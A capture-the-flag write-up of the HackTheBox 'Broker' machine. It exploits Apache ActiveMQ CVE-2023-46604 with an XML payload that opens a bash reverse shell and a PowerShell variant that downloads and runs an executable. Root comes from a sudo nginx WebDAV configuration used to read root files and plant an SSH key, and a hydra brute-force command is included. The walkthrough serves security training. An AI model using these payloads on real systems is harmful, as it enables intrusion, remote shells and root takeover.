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HackTheBox Writeup - Broker

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By Fate Walker
7 min read
HackTheBox Writeup - Broker
hackthebox nmap linux activemq cve-2023-46604 java deserialization cyberchef sudo nginx-privesc nginx oscp-like-2023 hydra

Broker is an easy difficulty Linux machine hosting a version of Apache ActiveMQ. Enumerating the version of Apache ActiveMQ shows that it is vulnerable to Unauthenticated Remote Code Execution, which is leveraged to gain user access on the target. Post-exploitation enumeration reveals that the system has a sudo misconfiguration allowing the activemq user to execute sudo /usr/sbin/nginx, which is similar to the recent Zimbra disclosure and is leveraged to gain root access.

Recon

Hosts

pt command is a custom pentest framework to manage hosts and variables, it is not required to reproduce the steps in this writeup

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┌──(bravosec㉿fsociety)-[~/htb/Broker]
└─$ pt init '10.129.230.87 broker.htb'
+---------+--------+---------------+------------+
| PROFILE | STATUS |      IP       |   DOMAIN   |
+---------+--------+---------------+------------+
| broker  | on     | 10.129.230.87 | broker.htb |
+---------+--------+---------------+------------+

Nmap

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# Nmap 7.94 scan initiated Fri Nov 10 14:04:05 2023 as: nmap -sVC -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 22,80,1883,5672,8161,45213,61613,61614,61616 broker.htb
Nmap scan report for broker.htb (10.129.41.115)
Host is up, received user-set (0.13s latency).
Scanned at 2023-11-10 14:04:05 CST for 43s

PORT      STATE SERVICE    REASON         VERSION
22/tcp    open  ssh        syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp    open  http       syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
1883/tcp  open  mqtt       syn-ack ttl 63
| mqtt-subscribe:
|   Topics and their most recent payloads:
|     ActiveMQ/Advisory/Consumer/Topic/#:
|_    ActiveMQ/Advisory/MasterBroker:
5672/tcp  open  amqp?      syn-ack ttl 63
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
|     AMQP
|     AMQP
|     amqp:decode-error
|_    7Connection from client using unsupported AMQP attempted
8161/tcp  open  http       syn-ack ttl 63 Jetty 9.4.39.v20210325
|_http-title: Error 401 Unauthorized
|_http-server-header: Jetty(9.4.39.v20210325)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
45213/tcp open  tcpwrapped syn-ack ttl 63
61613/tcp open  stomp      syn-ack ttl 63 Apache ActiveMQ
| fingerprint-strings:
|   HELP4STOMP:
|     ERROR
|     content-type:text/plain
|     message:Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
|     org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
|     org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
|     org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
|     org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_    java.lang.Thread.run(Thread.java:750)
61614/tcp open  http       syn-ack ttl 63 Jetty 9.4.39.v20210325
| http-methods:
|   Supported Methods: GET HEAD TRACE OPTIONS
|_  Potentially risky methods: TRACE
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-title: Site doesn't have a title.
|_http-server-header: Jetty(9.4.39.v20210325)
61616/tcp open  apachemq   syn-ack ttl 63 ActiveMQ OpenWire transport
| fingerprint-strings:
|   NULL:
|     ActiveMQ
|     TcpNoDelayEnabled
|     SizePrefixDisabled
|     CacheSize
|     ProviderName
|     ActiveMQ
|     StackTraceEnabled
|     PlatformDetails
|     Java
|     CacheEnabled
|     TightEncodingEnabled
|     MaxFrameSize
|     MaxInactivityDuration
|     MaxInactivityDurationInitalDelay
|     ProviderVersion
|_    5.15.15
3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5672-TCP:V=7.94%I=7%D=11/10%Time=654DC7E0%P=x86_64-pc-linux-gnu%r(G
...
SF:sing\x20unsupported\x20AMQP\x20attempted");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port61613-TCP:V=7.94%I=7%D=11/10%Time=654DC7DB%P=x86_64-pc-linux-gnu%r(
SF:HELP4STOMP,27F,"ERROR\ncontent-type:text/plain\nmessage:Unknown\x20STOM
SF:P\x20action:\x20HELP\n\norg\.apache\.activemq\.transport\.stomp\.Protoc
SF:olException:\x20Unknown\x20

80 - HTTP : Jetty web server

Info

User Flag

Shell as activemq

ActiveMQ RCE (CVE-2023-46604)

Info

The unique service from nmap was ActiveMQ

Identified its version : 5.15.15

Google : activemq 5.15.15 exploit

https://www.cvedetails.com/cve/CVE-2023-46604/

Google : CVE-2023-46604 poc

https://github.com/evkl1d/CVE-2023-46604

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git clone https://github.com/evkl1d/CVE-2023-46604
cd CVE-2023-46604

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┌──(bravosec㉿fsociety)-[~/htb/Broker/exploit/CVE-2023-46604]
└─$ ls
exploit.py  poc.xml  README.md

The exploit utilize unsafe deserialization to create java.lang.ProcessBuilder()

Exploit

poc.xml

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<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>bash -i &gt;&amp; /dev/tcp/10.10.10.10/9001 0&gt;&amp;1</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

Payload for windows

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<value>cmd</value>
<value>/c</value>
<value>powershell Invoke-WebRequest "http://0.0.0.0:8001/test.exe" -OutFile "test.exe"; Start-Process "./test.exe"</value>

The redirectors needs to be entity encoded

[Cyberchef Recipe](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity(false,’Named%20entities’)

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bash -i &#x3e;&#x26; &#x2f;dev&#x2f;tcp&#x2f;10&#x2e;10&#x2e;16&#x2e;30&#x2f;1111 0&#x3e;&#x26;1

Host the xml payload

It must be port 80 to work

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python -m http.server 80

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┌──(bravosec㉿fsociety)-[~/htb/Broker/exploit/CVE-2023-46604]
└─$ python exploit.py -i broker.htb -u http://10.10.16.30/poc.xml
     _        _   _           __  __  ___        ____   ____ _____
    / \   ___| |_(_)_   _____|  \/  |/ _ \      |  _ \ / ___| ____|
   / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | |   |  _|
  / ___ \ (__| |_| |\ V /  __/ |  | | |_| |_____|  _ <| |___| |___
 /_/   \_\___|\__|_| \_/ \___|_|  |_|\__\_\     |_| \_\\____|_____|

[*] Target: broker.htb:61616
[*] XML URL: http://10.10.16.30/poc.xml

[*] Sending packet: 0000006d1f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001a687474703a2f2f31302e31302e31362e33302f706f632e786d6c

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┌──(bravosec㉿fsociety)-[~/htb/Broker/exploit/CVE-2023-46604]
└─$ nc -lvnp 1111
listening on [any] 1111 ...

connect to [10.10.16.30] from (UNKNOWN) [10.129.41.115] 38590
bash: cannot set terminal process group (874): Inappropriate ioctl for device
bash: no job control in this shell
activemq@broker:/opt/apache-activemq-5.15.15/bin$
activemq@broker:/opt/apache-activemq-5.15.15/bin$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
activemq@broker:/opt/apache-activemq-5.15.15/bin$ ^Z
zsh: suspended  nc -lvnp 1111

┌──(bravosec㉿fsociety)-[~/htb/Broker/exploit/CVE-2023-46604]
└─$ stty raw -echo;fg
[1]  + continued  nc -lvnp 1111

activemq@broker:/opt/apache-activemq-5.15.15/bin$ export TERM=xterm
activemq@broker:/opt/apache-activemq-5.15.15/bin$ id
uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)
activemq@broker:/opt/apache-activemq-5.15.15/bin$ cat ~/user.txt
54a596f0bd7a231d20a569aad5efb2bd

Root Flag

From activemq to root

Sudo - Nginx

Enum

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activemq@broker:/opt/apache-activemq-5.15.15/bin$ sudo -l
Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

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activemq@broker:/opt/apache-activemq-5.15.15/bin$ cat /etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
        worker_connections 768;
        # multi_accept on;
}

http {
...

Setup Webdav config file

Start nginx with the custom config to enable arbitrary file read and write via webdav

/dev/shm/1.conf

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user root;
events {
    worker_connections 768;
}
http {
    server {
        listen 7777;
        root /;
        autoindex on;
        dav_methods PUT;
    }
}
  • autoindex will enable directory listing
  • dav_methods will enable webdav
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activemq@broker:/opt/apache-activemq-5.15.15/bin$ sudo nginx -c /dev/shm/1.conf

File read

Now we can read files as root

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┌──(bravosec㉿fsociety)-[~/htb/Broker]
└─$ curl -s broker.htb:7777|head
<html>
<head><title>Index of /</title></head>
<body>
<h1>Index of /</h1><hr><pre><a href="../">../</a>
<a href="bin/">bin/</a>                                               06-Nov-2023 01:10                   -
<a href="boot/">boot/</a>                                              06-Nov-2023 01:38                   -
<a href="dev/">dev/</a>                                               10-Nov-2023 06:00                   -
<a href="etc/">etc/</a>                                               07-Nov-2023 06:53                   -
<a href="home/">home/</a>                                              06-Nov-2023 01:18                   -
<a href="lib/">lib/</a>                                               06-Nov-2023 00:57                   -

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┌──(bravosec㉿fsociety)-[~/htb/Broker]
└─$ curl -s broker.htb:7777/root/root.txt
f65b0e3bd6b1a2b2fa8dae1ce8b56bbc

File write

Write SSH keys

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┌──(bravosec㉿fsociety)-[~/htb/Broker]
└─$ curl -s broker.htb:7777/root/.ssh/authorized_keys -T ~/.ssh/id_rsa.pub

SSH as root

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┌──(bravosec㉿fsociety)-[~/htb/Broker]
└─$ cssh root@broker.htb
Warning: Permanently added 'broker.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Nov 10 07:15:37 AM UTC 2023

  System load:           0.0
  Usage of /:            71.0% of 4.63GB
  Memory usage:          14%
  Swap usage:            0%
  Processes:             159
  Users logged in:       0
  IPv4 address for eth0: 10.129.41.115
  IPv6 address for eth0: dead:beef::250:56ff:feb9:ea4a

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


root@broker:~# id
uid=0(root) gid=0(root) groups=0(root)

Additional

ActiveMQ - Default credentials

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hydra -e nsr -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/darkweb2017-top100.txt broker.htb http-get / -t 64

Successfully login with admin:admin

Version revealed in admin panel

http://broker.htb/admin/

HackTheBox - Machines, 1. HTB - Easy
This post is licensed under CC BY 4.0 by the author.